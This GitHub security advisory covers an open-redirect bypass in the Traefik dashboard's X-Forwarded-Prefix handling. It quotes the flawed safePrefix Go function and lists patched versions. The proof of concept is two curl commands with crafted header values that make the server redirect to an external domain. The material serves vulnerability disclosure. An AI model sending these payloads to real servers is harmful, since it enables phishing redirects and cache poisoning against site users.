GHSA-H924-8G65-J9WG

Vulnerability from github – Published: 2024-12-02 17:12 – Updated: 2025-11-27 08:05

Summary

Traefik's X-Forwarded-Prefix Header still allows for Open Redirect

Details

Impact

There is a vulnerability in Traefik that allows the client to provide the X-Forwarded-Prefix header from an untrusted source.

Patches

https://github.com/traefik/traefik/releases/tag/v2.11.14
https://github.com/traefik/traefik/releases/tag/v3.2.1

Workarounds

No workaround.

For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description ### Summary The previously reported open redirect ([GHSA-6qq8-5wq3-86rp](https://github.com/traefik/traefik/security/advisories/GHSA-6qq8-5wq3-86rp)) is not fixed correctly. The safePrefix function can be tricked to return an absolute URL. ### Details The Traefik API [dashboard component](https://github.com/traefik/traefik/blob/master/pkg/api/dashboard/dashboard.go) tries to validate that the value of the header X-Forwarded-Prefix is a site relative path:

http.Redirect(resp, req, safePrefix(req)+"/dashboard/", http.StatusFound)

func safePrefix(req *http.Request) string {
    prefix := req.Header.Get("X-Forwarded-Prefix")
    if prefix == "" {
        return ""
    }

    parse, err := url.Parse(prefix)
    if err != nil {
        return ""
    }

    return parse.Path
}

### PoC An attacker can bypass this by sending the following payload:

curl -v 'http://traefik.localhost' -H 'X-Forwarded-Prefix: %0d//a.com'
[...]
> HTTP/1.1 302 Found
> Location: //a.com/dashboard/

or similar:

curl -v 'http://traefik.localhost' -H 'X-Forwarded-Prefix: %2f%2fa.com'
[...]
> HTTP/1.1 302 Found
> Location: //a.com/dashboard/

### Impact Similar to the previously reported bug. In cache poisoning scenarios this may be exploitable.

Severity

6.3 (Medium)
